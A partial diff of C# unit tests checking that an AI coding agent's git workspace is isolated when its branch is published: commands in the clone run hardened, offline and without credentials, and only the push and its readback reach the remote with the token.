s.AllowNetwork && s.Args.Any(a => a.Contains(token))); + reachesOut.Count(s => s.Args.Any(a => a.Contains(token))).ShouldBe(2, "exactly the authenticated push and its ls-remote readback carry the credential"); + reachesOut.Count(s => s.Args.Contains("push") || s.Args.Contains("ls-remote")).ShouldBe(2, "exactly the authenticated push and its ls-remote readback reach the remote"); + + foreach (var spec in reachesOut) + { + var argv = string.Join(' ', spec.Args); + IsOutside(workspaceRoot, spec.WorkingDirectory!).ShouldBeTrue($"cwd inside the workspace: {argv}"); + spec.Args.ShouldNotContain(a => a == cloneDir || IsUnder(cloneDir, a), $"an argument points git at the agent clone: {argv}"); + spec.ReadOnlyPaths.ShouldNotContain(cloneDir, argv); + } + } - foreach (var spec in local) + /// Every command whose cwd IS the agent clone is hardened, off the network and credential-free. + private static void ShouldRunHardenedInTheClone(IReadOnlyList inClone, string token, bool agentCommittedItself) + { + foreach (var spec in inClone) { var argv = string.Join(' ', spec.Args); spec.Args.Take(AgentCloneGitCommand.HardeningConfig.Count).ShouldBe(AgentCloneGitCommand.HardeningConfig, argv); spec.AllowNetwork.ShouldBeFalse(argv); spec.Environment.ShouldBeEmpty(argv); spec.Args.ShouldNotContain(a => a.Contains(token), argv); - spec.WorkingDirectory.ShouldBe(handle.Directory, argv); } - var subcommands = local.Select(s => s.Args.Skip(AgentCloneGitCommand.HardeningConfig.Count).First(a => !a.StartsWith('-') && !a.Contains('='))).Distinct().ToList(); - subcommands.ShouldBe(new[] { "add", "diff", "checkout", "commit", "rev-parse" }, ignoreOrder: true); - local.Count(s => s.Args.Contains("--quiet")).ShouldBe(agentCommittedItself ? 1 : 0, "`diff --quiet` runs only when the platform had nothing to commit"); + var subcommands = inClone.Select(s => s.Args.Skip(AgentCloneGitCommand.HardeningConfig.Count).First(a => !a.StartsWith('-') && !a.Contains('='))).Distinct().ToList(); + subcommands.ShouldBe(new[] { "add", "diff", "checkout", "commit", "update-ref", "merge-base" }, ignoreOrder: true); + inClone.Count(s => s.Args.Contains("--quiet")).ShouldBe(agentCommittedItself ? 1 : 0, "`diff --quiet` runs only when the platform had nothing to commit"); } - /// Records every spec and answers success with a fixed 40-char sha; optionally answers the platform commit with "nothing to commit" and `diff --quiet` with "differs", as git does after an agent committed its own work. + /// Every other post-turn command runs in ONE publish repo that is OUTSIDE the workspace root — not merely a different path, which a directory nested in the agent-writable workspace would also be. + private static void ShouldStageThePublishRepoOutsideTheWorkspace(IReadOnlyList inPublishRepo, string workspaceRoot) + { + var publishDir = inPublishRepo.Select(s => s.WorkingDirectory).Distinct().ShouldHaveSingleItem().ShouldNotBeNull(); + + IsOutside(workspaceRoot, publishDir).ShouldBeTrue($"the publish repo {publishDir} is staged inside the agent workspace {workspaceRoot}"); + } + + /// The bundles READ the clone (bound read-only) but write the branch OUT of the workspace: hardened, no network, no credential. + private static void ShouldBundleTheBranchOutReadOnly(IReadOnlyList inPublishRepo, string token, string cloneDir, string workspaceRoot) + { + var bundles = inPublishRepo.Where(s => s.Args.Contains("bundle")).ToList(); + + bundles.Count.ShouldBe(2, "the base and the objects the branch adds travel as separate bundles"); + + foreach (var bundle in bundles) + { + bundle.ReadOnlyPaths.ShouldBe(new[] { cloneDir }, "the agent clone is bound read-only while its objects are bundled"); + bundle.AllowNetwork.ShouldBeFalse(); + bundle.Args.ShouldNotContain(a => a.Contains(token)); + bundle.Args.Take(AgentCloneGitCommand.HardeningConfig.Count).ShouldBe(AgentCloneGitCommand.HardeningConfig); + IsOutside(workspaceRoot, bundle.Args[bundle.Args.ToList().IndexOf("create") + 1]).ShouldBeTrue("the bundle file is written outside the workspace"); + } + } + + /// The base the clone was made from is imported unchecked — the remote already holds it — and only the bundle of objects the branch adds is fetched under transfer.fsckObjects. Both imports get the push's budget, not the capture's. + private static void ShouldCheckOnlyTheObjectsTheBranchAdds(IReadOnlyList inPublishRepo) + { + var fetches = inPublishRepo.Where(s => s.Args.Contains("fetch")).ToList(); + var checkedFetch = fetches.Where(f => f.Args.Contains("transfer.fsckObjects=true")).ShouldHaveSingleItem(); + var baseFetch = fetches.Where(f => !f.Args.Contains("transfer.fsckObjects=true")).ShouldHaveSingleItem(); + + checkedFetch.Args.ShouldContain("codespace/run:refs/heads/codespace/run", "the checked import carries the branch"); + baseFetch.Args.ShouldContain("refs/codespace/publish-base:refs/codespace/publish-base", "the unchecked import carries only the base"); + baseFetch.Args.ShouldNotContain(a => a.StartsWith("codespace/run", StringComparison.Ordinal), "the branch never arrives unchecked when it adds objects"); + fetches.ShouldAllBe(f => !f.AllowNetwork && f.TimeoutSeconds == 300, "a bundle import is local, and as heavy as the push, so it gets the push's budget"); + } + + /// True when is neither nor anything below it. + private static bool IsOutside(string root, string path) + { + var relative = Path.GetRelativePath(root, path); + return Path.IsPathRooted(relative) || relative == ".." || relative.StartsWith(".." + Path.DirectorySeparatorChar, StringComparison.Ordinal); + } + + private static bool IsUnder(string root, string path) => Path.IsPathRooted(path) && !IsOutside(root, path); + + /// Records every spec and answers success with a fixed 40-char sha; answers `merge-base --is-ancestor` with "not an ancestor" (the branch adds commits); optionally answers the platform commit with "nothing to commit" and `diff --quiet` with "differs", as git does after an agent committed its own work. private sealed class PostTurnRunner(bool agentCommittedItself) : ISandboxRunner { public string Kind => "local"; @@ -520,6 +621,9 @@ public Task RunAsync(SandboxSpec spec, CancellationToken cancella if (agentCommittedItself && spec.Args.Contains("--quiet")) return Task.FromResult(new SandboxResult { Status = SandboxStatus.Failed, ExitCode = 1, Stdout = "", Stderr = "" }); + if (spec.Args.Contains("--is-ancestor")) + return Task.FromResult(new SandboxResult { Status = SandboxStatus.Failed, ExitCode = 1, Stdout = "", Stderr = "" }); + return Task.FromResult(new SandboxResult { Status = SandboxStatus.Success, ExitCode = 0, Stdout = new string('a', 40), Stderr = "" }); } }